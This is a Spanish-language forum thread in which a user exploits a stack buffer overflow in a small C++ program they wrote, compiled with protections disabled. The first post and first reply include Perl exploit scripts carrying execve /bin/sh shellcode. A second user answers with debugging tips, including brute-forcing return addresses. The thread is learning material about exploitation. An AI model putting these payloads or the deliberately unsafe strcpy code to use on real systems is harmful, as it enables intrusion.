elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Duda explotando un buffer overflow en el stack
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Duda explotando un buffer overflow en el stack  (Leído 5,252 veces)
M3LiNdR1

Desconectado Desconectado

Mensajes: 131



Ver Perfil WWW
Duda explotando un buffer overflow en el stack
« en: 19 Enero 2024, 21:16 pm »

Buenas tardes y feliz año!  :)

Estoy realizando unas pruebas explotando un buffer overflow en la pila de un programa sencillo que he creado, pero no logro entender el porque de que falle mi exploit. Creo que paso algo por alto, pero no logro entender el que.
El programa a explotar es el siguiente:

Código
  1. #include <iostream>
  2. #include <cstring>
  3. using namespace std;
  4.  
  5. int main(int argc, char* argv[]) {
  6.  
  7.    char output[200];
  8.  
  9.    const char* source = argv[1];
  10.  
  11.    strcpy(output, source);
  12.  
  13.    cout << "Output string: " << output << endl;
  14.  
  15.    return 0;
  16. }

Deshabilito el ASLR en mi ordernador con arquitectura intel de 64 bits y compilo el programa quitando las protecciones del stack:

Código
  1. g++ strcpy_sample.cpp -fno-stack-protector -z execstack -g -o sut.exe

Una vez hecho esto, voy a depurar el programa con gdb para calcular el desplazamiento y obtener la dirección de memoria de retorno de la función:



He utilizado una entrada de 200 caracteres A para llenar el buffer y ver mejor la pila del programa. la dirección de retorno esta en la posición 0x7fffffffdda8 de memòria y la variable output esta en la dirección 0x7fffffffdcd0
Como se muestra en la siguiente imagen:



Entonces para calcular el desplazamiento con gdb hago:

offset =  @ret - @output = 0x7fffffffdda8 - 0x7fffffffdcd0 = 216 bytes

Código
  1. (gdb) p/d 0x7fffffffdda8 - 0x7fffffffdcd0

Una vez obtengo el desplazamiento, escojo una dirección valida al azar dentro del stack para usarla como dirección de retorno. Por ejemplo usaré la 0x7fffffffdd30

Entonces, sabiendo estos dos parametros, he escrito un pequeño exploit en lenguaje perl:

Código
  1. #!/usr/bin/perl
  2.  
  3. $shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"; # 30 bytes
  4. $address = "\x30\xdd\xff\xff\xff\x7f\x00\x00"; #0x7fffffffdd30; return address in big-endian - 8 bytes
  5. $nop = "\x90"x186; #186 bytes
  6.  
  7. print $nop . $shellcode . $address;
  8.  

Por cierto, la shellcode la he obtenido de shell-storm.org, ocupa 30 bytes y es la siguiente: https://shell-storm.org/shellcode/files/shellcode-603.html

El exploit de perl, devuelve una cadena de 224 bytes = 186 bytes de NOPs + 30bytes de la shellcode + 8 bytes de la dirección de retorno = offset + @retorno

Entonces, ejecuto gdb pasandole el exploit como entrada y el stack me queda así:



Claro, lo que ha pasado aquí es que la posición de memoria de la dirección de retorno ha cambiado:

rip at 0x7fffffffdda8 --> rip at 0x7fffffffdd88

Esto es debido a que el tamaño del buffer de entrada (argv[1]) ha cambiado y es mas grande, antes eran 200bytes y ahora son 216 bytes, y por lo tanto al copiar el buffer se ha ampliado el offset en 32 bytes.

Pero si vuelvo a calcular el desplazamiento entre la posición de la dirección de memoria de retorno y la posición de la variable output me siguen saliendo 216bytes:

Código
  1. (gdb) p/d 0x7fffffffdd88 - 0x7fffffffdcb0

Esto es así porque la variable $output se ha desbordado, pero sigue "ocupando" 200 bytes en memoria.

Pero, en cualquier caso, he acertado y la dirección de retorno se ha sobreescrito con la dirección que quería, si nos fijamos en la imagen anterior, la nueva posición de retorno 0x7fffffffdd88 contiene la dirección: 0x7fffffffdd30

Ahora si continuo con la ejecución debería  saltar a la posición de memoria del medio de la stack. ejectuar los NOPs y luego la shellcode para obtener una shell. Sin embargo, el programa termina con un error de segmentation fault y parece que no ejectua la shellcode.



Alguien me sabría decir porque ha ocurrido esto?
Se os ocurre alguna forma de validar si realmente se ha ejecutado la shellcode?
« Última modificación: 19 Enero 2024, 21:17 pm por M3LiNdR1 » En línea

Va baixar davant dels meus...ulls molt suaument...sense alterar la quietud de la nit,amb un somriure ple de confiança com sino se li escapes res...


C/C++ - Prolog - Java - PHP - Python - SQL - ASP.NET - C# - javascript
M3LiNdR1

Desconectado Desconectado

Mensajes: 131



Ver Perfil WWW
Re: Duda explotando un buffer overflow en el stack
« Respuesta #1 en: 20 Enero 2024, 12:12 pm »

Buenas, trasteando un poco mas he conseguido un exploit que funciona:

Código
  1.  
  2. #!/usr/bin/perl
  3.  
  4. $shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"; # 30 bytes
  5. $address = "\x30\xdd\xff\xff\xff\x7f"x5; #0x7fffffffdd30; return address in big-endian - 8 bytes
  6. $nop = "\x90"x162; #186 bytes
  7.  
  8. print $nop . $shellcode . $address;
  9.  

Básicamente lo que he hecho ha sido quitar NOPs y duplicar cinco veces la dirección de retorno por si durante la ejecución por algun motivo la posición de memoria de la dirección de retorno variaba.
Este es un frame de la pila justo antes de terminar la ejecución:



Pero no acabo de entender porque este exploit si que funciona y el otro no. Alguna idea?

Muchas gracias y saludos!
En línea

Va baixar davant dels meus...ulls molt suaument...sense alterar la quietud de la nit,amb un somriure ple de confiança com sino se li escapes res...


C/C++ - Prolog - Java - PHP - Python - SQL - ASP.NET - C# - javascript
otroWeyMas.nasm

Desconectado Desconectado

Mensajes: 27


Ver Perfil
Re: Duda explotando un buffer overflow en el stack
« Respuesta #2 en: 4 Febrero 2024, 22:57 pm »

Esto pasa por diferentes factores, pondré los básicos.

El primero y más común es olvidar que estás usando un sistema de 64 bits y todo lo transformamos a 32bits, haciendo que la memoria no se sobre escriba correctamente y quede algún null, haciendo que la ejecución se detenga o el exploit está hecho para 32 bits y debería ser para 64bits.

Otra son las protecciones de tu sistema Linux, a veces solo compilar quitando protecciones no siempre funciona, hay que verificar porque podría detectar tu sistema como un posible smash y que lo detenga.

Otra es que GDB carga en memoria virtual la app, haciendo que cambie un poco a la memoria real, ya que activa los exécutables de forma virtual, así que puede que un exploit te funcione dentro de GDB y puede que no funcione fuera y viceversa. Puedes buscar como alinear lo más posible a GDB, no recuerdo ahorita las opciones pero en internet puedes buscar por como alinear la memoria de GDB por la real.

Una solución a eso es hacer las ejecuciones mediante fuerza bruta, con un bash intenta hacer que incremente o disminuya alguna dirección, ejemplo.

Me a pasado que la dirección de ret es por ejemplo: 0x77bbffc8 y cuando cambio manualmente a 0x77bbffce, bum!!, me aparece la Shell, incluso me ha pasado como a ti, hago una Shell, extraigo los opcodes y no funciona, y pongo una de internet y funciona y viceversa, no me funciona ninguno de internet pero hago una yo y listo.


A veces son cosas impredecibles y raras. Espero eso te ayude, suerte.
En línea

M3LiNdR1

Desconectado Desconectado

Mensajes: 131



Ver Perfil WWW
Re: Duda explotando un buffer overflow en el stack
« Respuesta #3 en: 9 Febrero 2024, 23:47 pm »

Hola otroWeyMas.nasm, muchas gracias por tu respuesta.

Pues tenía la esperanza que pudiera llegar a entender que pasa viendo la memoria y depurando. Almenos he podido comprobar que al llegar al return salta a la posición que tocaria para ejectuar los NOPs:



EDITO:

Bueno bueno, creo que acabo de entender lo que pasa. La propia shellcode ejecuta instrucciones push y esta sobreescribe su propio código dentro de la pila, aquí la prueba:



He logrado depurar paso a paso incluso las instrucciones de memoria hacia donde he saltado utilizando los comandos explicados aquí: https://sourceware.org/gdb/current/onlinedocs/gdb.html/Continuing-and-Stepping.html

Claro, con la otra shellcode estos push sobreescriben otras direcciones de memoria que no interfieren en la ejecución.

Lo que no entiendo es porque el stack pointer esta apuntando a la dirección 0x7fffffffdf00

Seguire investigando! :D

Un saludo
« Última modificación: 10 Febrero 2024, 00:22 am por M3LiNdR1 » En línea

Va baixar davant dels meus...ulls molt suaument...sense alterar la quietud de la nit,amb un somriure ple de confiança com sino se li escapes res...


C/C++ - Prolog - Java - PHP - Python - SQL - ASP.NET - C# - javascript
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Duda Buffer Overflow
Bugs y Exploits
R007h 2 3,850 Último mensaje 17 Mayo 2010, 00:52 am
por dark_hat
una duda acerca del buffer overflow. « 1 2 »
Bugs y Exploits
black_flowers 10 8,089 Último mensaje 7 Abril 2011, 17:29 pm
por black_flowers
Duda sobre buffer overflow « 1 2 3 »
Bugs y Exploits
pianista 20 13,151 Último mensaje 8 Enero 2012, 20:23 pm
por pianista
No puedo cambiar bien la direccion de retorno tras un buffer overflow en stack
Bugs y Exploits
harry_the_blogger 0 2,733 Último mensaje 1 Enero 2015, 21:54 pm
por harry_the_blogger
Explotando un Buffer Overflow
Bugs y Exploits
desbordebuffer 2 6,614 Último mensaje 2 Enero 2018, 20:20 pm
por l3x4
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines